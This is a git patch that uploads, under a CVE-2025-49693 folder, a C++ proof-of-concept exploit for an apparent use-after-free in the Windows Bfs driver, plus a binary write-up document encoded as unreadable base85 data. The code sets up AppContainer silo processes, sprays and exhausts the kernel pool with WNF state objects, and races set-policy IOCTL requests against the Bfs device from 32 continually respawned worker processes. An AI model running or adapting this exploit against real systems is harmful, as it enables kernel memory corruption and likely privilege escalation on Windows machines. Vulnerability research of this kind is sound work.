From 50577c243d9a2e1035eca8eb31c5697009e7bd02 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:55:14 +0000 Subject: [PATCH] Upload files to "CVE-2025-49693" --- CVE-2025-49693/BfsTest4.cpp | 440 ++++++++++++++++++++++++++++++++++++ CVE-2025-49693/Bfs_UAF.docx | Bin 0 -> 39848 bytes 2 files changed, 440 insertions(+) create mode 100644 CVE-2025-49693/BfsTest4.cpp create mode 100644 CVE-2025-49693/Bfs_UAF.docx diff --git a/CVE-2025-49693/BfsTest4.cpp b/CVE-2025-49693/BfsTest4.cpp new file mode 100644 index 0000000..98fdf4a --- /dev/null +++ b/CVE-2025-49693/BfsTest4.cpp @@ -0,0 +1,440 @@ + +#include +#include + + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include "wnf.h" +#include "Bfs2.h" + +PWSTR gProcessPath = NULL; + +typedef HRESULT(WINAPI* __CreateAppContainerProfile)( + _In_ PCWSTR pszAppContainerName, + _In_ PCWSTR pszDisplayName, + _In_ PCWSTR pszDescription, + _In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities, + _In_ DWORD dwCapabilityCount, + _Outptr_ PSID* ppSidAppContainerSid); +typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)( + _In_ PCWSTR pszAppContainerName, + _Outptr_ PSID* ppsidAppContainerSid); + +typedef BOOL (WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)( + _In_ LPCWSTR StringSecurityDescriptor, + _In_ DWORD StringSDRevision, + _Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor, + _Out_opt_ PULONG SecurityDescriptorSize); + +__NtCreateWnfStateName NtCreateWnfStateName = NULL; +__NtUpdateWnfStateData NtUpdateWnfStateData = NULL; +__NtQueryWnfStateData NtQueryWnfStateData = NULL; +__NtDeleteWnfStateData NtDeleteWnfStateData = NULL; +__NtDeleteWnfStateName NtDeleteWnfStateName = NULL; + +void CreateContainerIf(PSID* ppSidAppContainerSid, int index) { + + PCWSTR pszAppContainerName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f2"; + PCWSTR pszDisplayName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f28"; + PCWSTR pszDescription1 = L"This is Container_c82b2e04-432a-4767-a737-143733ee9f28."; + + WCHAR szAppContainerName[0x200] = { 0 }; + WCHAR szDisplayName[0x200] = { 0 }; + WCHAR szDescription[0x200] = { 0 }; + + swprintf_s(szAppContainerName, 0x200, L"%ls_%d", pszAppContainerName1, index); + swprintf_s(szDisplayName, 0x200, L"%ls_%d", pszDisplayName1, index); + swprintf_s(szDescription, 0x200, L"%ls_%d", pszDescription1, index); + + HMODULE hUserenv = NULL; + hUserenv = LoadLibraryA("Userenv.dll"); + + __CreateAppContainerProfile _CreateAppContainerProfile = (__CreateAppContainerProfile)GetProcAddress(hUserenv, "CreateAppContainerProfile"); + __DeriveAppContainerSidFromAppContainerName _DeriveAppContainerSidFromAppContainerName = (__DeriveAppContainerSidFromAppContainerName)GetProcAddress(hUserenv, "DeriveAppContainerSidFromAppContainerName"); + HRESULT Hr = _CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid); + if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) { + + Hr = _DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid); + } +} + + +struct _SiloSID +{ + unsigned __int8 Revision; + unsigned __int8 SubAuthorityCount; + _SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + unsigned int SubAuthority[2]; +}; + +_SiloSID CreateAppSiloCapability() { + _SiloSID SeAppSiloSid = { 0 }; + _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 }; + + IdentifierAuthority.Value[0] = 0; + IdentifierAuthority.Value[1] = 0; + IdentifierAuthority.Value[2] = 0; + IdentifierAuthority.Value[3] = 0; + IdentifierAuthority.Value[4] = 0; + IdentifierAuthority.Value[5] = 0xF; + + InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u); + SeAppSiloSid.SubAuthority[0] = 3; + SeAppSiloSid.SubAuthority[1] = 0x10000; + + return SeAppSiloSid; +} + +struct _PROC_THREAD_ATTRIBUTE +{ + unsigned __int64 Attribute; + unsigned __int64 Size; + unsigned __int64 Value; +}; + + +struct _PROC_THREAD_ATTRIBUTE_LIST +{ + unsigned int PresentFlags; + unsigned int AttributeCount; + unsigned int LastAttribute; + unsigned int SpareUlong0; + _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute; + _PROC_THREAD_ATTRIBUTE Attributes[1]; +}; + +void LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) { + STARTUPINFOEX si = { sizeof(si) }; + PROCESS_INFORMATION pi; + SIZE_T size; + SECURITY_CAPABILITIES sc = { 0 }; + sc.AppContainerSid = pSidAppContainerSid; + + SID_AND_ATTRIBUTES Capabilities[1] = { 0 }; + + _SiloSID SeAppSiloSid = CreateAppSiloCapability(); + Capabilities[0].Sid = (PSID)(&SeAppSiloSid); + Capabilities[0].Attributes = 0xf; + + + sc.CapabilityCount = 1; + sc.Capabilities = Capabilities; + + InitializeProcThreadAttributeList(nullptr, 1, 0, &size); + BYTE* buffer = (BYTE*)malloc(size); + memset(buffer, 0, size); + + si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer); + InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); + BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr); + + + WCHAR szCommandLine[MAX_PATH]; + + swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath); + + bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi); + *pProcessHandle = pi.hProcess; + *pThreadHandle = pi.hThread; +} + +int LoadWnfApi() +{ + HMODULE hNtDll = NULL; + hNtDll = LoadLibraryA("ntdll.dll"); + if (hNtDll == NULL) + { + printf("load ntdll failed!\r\n"); + return -1; + } + + NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName"); + NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData"); + NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData"); + NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData"); + NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName"); + if (NtCreateWnfStateName == NULL || + NtUpdateWnfStateData == NULL || + NtQueryWnfStateData == NULL || + NtDeleteWnfStateData == NULL || + NtDeleteWnfStateName == NULL) + { + printf("not found functions\r\n"); + return -1; + } + + return 0; +} + +WNF_STATE_NAME gStateNames[0x1000]; +int gStateCount = 0x1000; + +bool ExhaustPool2() { + NTSTATUS Status = 0; + char Entry[0x1000 - 0x10] = { 0 }; + PSECURITY_DESCRIPTOR pSD = NULL; + + WNF_STATE_NAME StateName; + + int DataCount = 0x1000; + WNF_STATE_NAME StateNames[0x1000]; + + HMODULE hModule = NULL; + hModule = LoadLibraryA("advapi32.dll"); + + __ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW"); + + if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr)) + { + return false; + } + + printf("Consuming pool...\n"); + + for (int i = 0; i < DataCount; ++i) { + Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); + if (Status != 0) + { + printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status); + break; + } + } + + for (int i = 0; i < gStateCount; ++i) { + Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); + if (Status != 0) + { + printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status); + break; + } + } + + while (true) + { + Status = NtCreateWnfStateName(&StateName, WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD); + if (Status != 0) + { + printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status); + break; + } + + Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateName, &Entry, sizeof(Entry), NULL, NULL, NULL, 0); + if (Status != 0) + { + printf("[-] ExhaustPool2 NtUpdateWnfStateData2() Return Code: %x\n", Status); + break; + } + } + + for (int i = 0; i < DataCount; ++i){ + + Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, 0xc8 - 0x10, NULL, NULL, NULL, 0); + if (Status != 0) + { + printf("[-] ExhaustPool2 NtUpdateWnfStateData2() Return Code: %x\n", Status); + break; + } + } + + if (pSD) + { + LocalFree(pSD); + } + + return true; +} + + +HANDLE OpenDevice() { + UNICODE_STRING usDevice = { 0 }; + + RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs"); + + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL); + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + HANDLE hDevice = NULL; + NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0); + + if (STATUS_SUCCESS != status) { + printf("[-] NtOpenFile() Return Code: %x\n", status); + printf("please check if the bfs service is running.\n"); + getchar(); + ExitProcess(1); + } + + return hDevice; +} + +HANDLE ghDevice = NULL; +DWORD gInputBufferLength = 100; +PVOID gInputBuffer = NULL; + +DWORD gOutputBufferLength = 100; +PVOID gOutputBuffer = NULL; +HANDLE gTokenHandle = NULL; + +WCHAR gszSystemDir[MAX_PATH + 1] = { 0 }; +WCHAR gszFilePath[MAX_PATH + 1] = { 0 }; + +void SendPrepare() { + ghDevice = OpenDevice(); + + gInputBuffer = malloc(gInputBufferLength); + gOutputBuffer = malloc(gOutputBufferLength); + + memset(gInputBuffer, 0, gInputBufferLength); + memset(gOutputBuffer, 0, gOutputBufferLength); + + UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH); + swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir); + + _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer; + + Policy->TokenHandle = gTokenHandle; + Policy->FileType = 1; + Policy->PolicyValue = 2; + Policy->PolicyFlags = 0xf; + Policy->OperationType = 1; + + RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath); + + LoadWnfApi(); +} + +int SendSetPolicyRequest(ULONG OperationType) { + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer; + Policy->OperationType = OperationType; + + NTSTATUS Status = NtDeviceIoControlFile( + ghDevice, + NULL, + NULL, + NULL, + &IoStatusBlock, + 0x228004, + gInputBuffer, + gInputBufferLength, + gOutputBuffer, + gOutputBufferLength); + //printf("Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + return Status; +} + +void SiloMain() { + //getchar(); +} + +void SendRequest() { + NTSTATUS Status = 0; + char Entry[0xc8 - 0x10] = { 0 }; + int i = 0; + while (true) { + if(i < gStateCount) { + if (NtUpdateWnfStateData((PWNF_STATE_NAME)&gStateNames[i++], &Entry, sizeof(Entry), NULL, NULL, NULL, 0)) + { + if (!SendSetPolicyRequest(3)) + { + break; + } + } + } + else { + if (!SendSetPolicyRequest(3)) + { + break; + } + } + } +} + +void HostWorkerMain() { + int index = 0; + PSID pSidAppContainerSid = NULL; + index = GetCurrentProcessId(); + CreateContainerIf(&pSidAppContainerSid, index); + printf("appsilo index = %d\n", index); + HANDLE ProcessHandle = NULL; + HANDLE ThreadHandle = NULL; + + LaunchContainerApp(pSidAppContainerSid, &ProcessHandle, &ThreadHandle); + OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &gTokenHandle); + WaitForSingleObject(ProcessHandle, INFINITE); + + SendPrepare(); + + ExhaustPool2(); + printf("ExhaustPool returned.\n"); + + SendRequest(); + + CloseHandle(gTokenHandle); + CloseHandle(ProcessHandle); +} + +HANDLE CreateWorkerProcess() { + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + WCHAR szCommandLine[MAX_PATH + 1]; + swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker",gProcessPath); + + bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); + return pi.hProcess; +} + +HANDLE CreateHostProcess() { + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + WCHAR szCommandLine[MAX_PATH + 1]; + swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath); + + bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi); + return pi.hProcess; +} + + +void HostMain() { + int index = 0; + int WorkerCount = 32; + HANDLE ProcessHandles[100]; + + for (int i = 0; i < WorkerCount; ++i) { + ProcessHandles[i] = CreateWorkerProcess(); + } + + while (true) { + + DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE); + + ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess(); + } +} + +void Test() { + SendPrepare(); +} + +int wmain(int argc, WCHAR* argv[]) +{ + //Test(); + + gProcessPath = argv[0]; + + if (argc == 1) { + HostMain(); + } + else if (argc == 2) { + SiloMain(); + } + else { + HostWorkerMain(); + } +} + diff --git a/CVE-2025-49693/Bfs_UAF.docx b/CVE-2025-49693/Bfs_UAF.docx new file mode 100644 index 0000000000000000000000000000000000000000..0368be6b101754605dade49c8f1ab903c68738d1 GIT binary patch literal 39848 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 